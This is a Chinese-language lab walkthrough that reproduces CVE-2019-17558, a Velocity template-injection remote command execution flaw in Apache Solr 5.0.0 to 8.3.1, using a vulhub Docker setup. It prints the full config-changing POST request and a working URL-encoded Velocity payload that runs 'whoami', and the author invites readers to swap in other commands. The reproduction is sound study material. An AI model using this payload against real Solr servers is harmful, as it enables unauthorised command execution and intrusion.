Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)_apache solr velocity 模版注入远程命令执行漏洞(cve-2019-17558)

声明

好好学习，天天向上

漏洞描述

Solr是Apache Lucene项目的开源企业搜索平台。 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成，以及富文本的处理。 2019年10月30日，国外安全研究人员放出了一个关于solr 模板注入的exp，攻击者通过未授权访问solr服务器，发送特定的数据包开启 params.resource.loader.enabled，然后get访问接口导致服务器命令执行。

影响范围

5.0.0 到 8.3.1版本

复现过程

使用8.2.0

使用vulhub

cd /app/vulhub-20201028/solr/CVE-2019-17558
1

使用docker启动

docker-compose up -d
1

访问IP:8983

默认情况下params.resource.loader.enabled配置未打开，无法使用自定义模板。我们先通过如下API获取所有的核心：

http://192.168.239.129:8983/solr/admin/cores?indexInfo=false&wt=json
1

这里核心是demo

构造请求开启params.resource.loader.enabled，其中API路径包含刚才获取的core名称（大家在模拟请求的时候，可以先抓个包重放后，再完全把请求内容替换）

POST /solr/demo/config HTTP/1.1
Host: 192.168.239.129:8983
Content-Type: application/json
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

之后，注入Velocity模板即可执行任意命令（自行替换里面的IP和命令，我这里用的whoami，命令无法执行会报500，所以遇到500错误别紧张换一些别的命令）

http://192.168.239.129:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
1

使用完后关闭镜像

docker-compose down
1

docker-compose常用命令

拉镜像（进入到vulhub某个具体目录后）

docker-compose build
docker-compose up -d
1
2

镜像查询（查到的第一列就是ID值）

docker ps -a
1

进入指定镜像里面（根据上一条查出的ID进入）

docker exec -it ID /bin/bash
1

关闭镜像（每次用完后关闭）

docker-compose down
1